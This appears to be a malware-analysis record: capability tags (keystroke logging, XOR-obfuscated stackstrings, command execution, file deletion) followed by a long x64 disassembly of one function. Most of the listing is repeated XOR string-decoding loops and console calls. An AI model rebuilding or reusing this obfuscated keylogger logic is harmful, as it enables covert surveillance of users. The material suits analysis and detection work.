Function at 0x1400011e0
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1870]
mov eax, 0x1970
call fcn.14000a540
sub rsp, rax
movaps xmmword [rsp + 0x1960], xmm6
movaps xmmword [rsp + 0x1950], xmm7
movaps xmmword [rsp + 0x1940], xmm8
mov rax, qword [0x14000e008]
xor rax, rsp
mov qword [rbp + 0x1838], rax
mov r14d, 4
lea r15d, [r14 + 0x1b]
lea r12, [0x140000000]
mov esi, dword [0x14000e020]
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 3
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.Color_D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.pPUQW_eZRL]
movups xmmword [rbp + 0xf30], xmm0
movups xmm1, xmmword [0x14000bde8]
movups xmmword [rbp + 0xf40], xmm1
movzx eax, byte [0x14000bdf8]
mov byte [rbp + 0xf50], al
xor ecx, ecx
cmp esi, 2
jl 0x140001400
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xf34]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140001300
cmp ecx, 0x21
jge 0x14000143c
movsxd rax, ecx
lea r8, [rbp + 0xf30]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x21
jl 0x140001410
lea rdx, [rbp + 0xf30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Done_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14000b9d0]
movups xmmword [rbp + 0x13e0], xmm0
movups xmm1, xmmword [0x14000b9e0]
movups xmmword [rbp + 0x13f0], xmm1
movups xmm0, xmmword [0x14000b9f0]
movups xmmword [rbp + 0x1400], xmm0
movups xmm1, xmmword [0x14000ba00]
movups xmmword [rbp + 0x1410], xmm1
movups xmm0, xmmword [0x14000ba10]
movups xmmword [rbp + 0x1420], xmm0
movups xmm1, xmmword [0x14000ba20]
movups xmmword [rbp + 0x1430], xmm1
movzx eax, byte [0x14000ba30]
mov byte [rbp + 0x1440], al
xor ecx, ecx
cmp esi, 2
jl 0x140001640
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x13e4]
mov r8d, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001540
cmp ecx, 0x61
jge 0x14000167c
movsxd rax, ecx
lea r8, [rbp + 0x13e0]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x61
jl 0x140001650
lea rdx, [rbp + 0x13e0]
mov rcx, r9
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x4b0], xmm1
movups xmmword [rbp + 0x4a0], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x4d0], xmm1
movups xmmword [rbp + 0x4c0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x500], ax
movups xmmword [rbp + 0x4f0], xmm1
movups xmmword [rbp + 0x4e0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140001845
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x4a4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001740
cmp ecx, 0x62
jl 0x140001845
mov rcx, r8
jmp 0x14000188f
movsxd rax, ecx
lea r8, [rbp + 0x4a0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140001860
mov rcx, r10
lea rdx, [rbp + 0x4a0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000c000]
movups xmm0, xmmword [0x14000bff0]
movups xmmword [rbp + 0x520], xmm1
movups xmmword [rbp + 0x510], xmm0
movups xmm1, xmmword [0x14000c020]
movups xmm0, xmmword [0x14000c010]
movups xmmword [rbp + 0x540], xmm1
movups xmmword [rbp + 0x530], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000c050]
movups xmm1, xmmword [0x14000c040]
movups xmm0, xmmword [0x14000c030]
mov r10, r8
mov word [rbp + 0x570], ax
movups xmmword [rbp + 0x560], xmm1
movups xmmword [rbp + 0x550], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140001a55
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x514]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001950
cmp ecx, 0x62
jl 0x140001a55
mov rcx, r8
jmp 0x140001a9f
movsxd rax, ecx
lea r8, [rbp + 0x510]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140001a70
mov rcx, r10
lea rdx, [rbp + 0x510]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x590], xmm1
movups xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x5b0], xmm1
movups xmmword [rbp + 0x5a0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x5e0], ax
movups xmmword [rbp + 0x5d0], xmm1
movups xmmword [rbp + 0x5c0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140001c65
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x584]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001b60
cmp ecx, 0x62
jl 0x140001c65
mov rcx, r8
jmp 0x140001caf
movsxd rax, ecx
lea r8, [rbp + 0x580]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140001c80
mov rcx, r10
lea rdx, [rbp + 0x580]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bcd0]
movups xmm0, xmmword [0x14000bcc0]
movups xmmword [rbp + 0x600], xmm1
movups xmmword [rbp + 0x5f0], xmm0
movups xmm1, xmmword [0x14000bcf0]
movups xmm0, xmmword [0x14000bce0]
movups xmmword [rbp + 0x620], xmm1
movups xmmword [rbp + 0x610], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bd20]
movups xmm1, xmmword [0x14000bd10]
movups xmm0, xmmword [0x14000bd00]
mov r10, r8
mov word [rbp + 0x650], ax
movups xmmword [rbp + 0x640], xmm1
movups xmmword [rbp + 0x630], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140001e75
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x5f4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001d70
cmp ecx, 0x62
jl 0x140001e75
mov rcx, r8
jmp 0x140001ebf
movsxd rax, ecx
lea r8, [rbp + 0x5f0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140001e90
mov rcx, r10
lea rdx, [rbp + 0x5f0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x670], xmm1
movups xmmword [rbp + 0x660], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x690], xmm1
movups xmmword [rbp + 0x680], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x6c0], ax
movups xmmword [rbp + 0x6b0], xmm1
movups xmmword [rbp + 0x6a0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140002085
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x664]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140001f80
cmp ecx, 0x62
jl 0x140002085
mov rcx, r8
jmp 0x1400020cf
movsxd rax, ecx
lea r8, [rbp + 0x660]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400020a0
mov rcx, r10
lea rdx, [rbp + 0x660]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bb60]
movups xmm0, xmmword [0x14000bb50]
movups xmmword [rbp + 0x6e0], xmm1
movups xmmword [rbp + 0x6d0], xmm0
movups xmm1, xmmword [0x14000bb80]
movups xmm0, xmmword [0x14000bb70]
movups xmmword [rbp + 0x700], xmm1
movups xmmword [rbp + 0x6f0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bbb0]
movups xmm1, xmmword [0x14000bba0]
movups xmm0, xmmword [0x14000bb90]
mov r10, r8
mov word [rbp + 0x730], ax
movups xmmword [rbp + 0x720], xmm1
movups xmmword [rbp + 0x710], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140002295
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x6d4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140002190
cmp ecx, 0x62
jl 0x140002295
mov rcx, r8
jmp 0x1400022df
movsxd rax, ecx
lea r8, [rbp + 0x6d0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400022b0
mov rcx, r10
lea rdx, [rbp + 0x6d0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x750], xmm1
movups xmmword [rbp + 0x740], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x770], xmm1
movups xmmword [rbp + 0x760], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x7a0], ax
movups xmmword [rbp + 0x790], xmm1
movups xmmword [rbp + 0x780], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400024a5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x744]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
